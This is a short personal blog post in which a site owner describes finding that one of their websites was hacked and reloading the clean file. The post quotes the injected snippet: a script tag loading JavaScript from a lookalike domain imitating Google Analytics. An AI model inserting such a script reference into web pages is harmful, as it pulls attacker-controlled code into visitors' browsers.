Someone's not playing nicely...
One of my websites was hacked recently, not sure by who, or how, or why... It wasn't a major hack, just some asshole inserting a snippet of javascript in an attempt to make the user click and load something they probably don't want. Here's the code-snippet that was inserted, minus the javascript tags just to make sure it doesn't trigger in here (I'm pretty sure LJ protects against such things, but...) :
script src=
"
http://www.google-analitic.com/urchin.js" type="text/javascript"
Thankfully, someone pointed it out to me and I was able to quickly reload the non-corrupted file. I sent an inquirey off to the hosting company as to how this happened in the first place.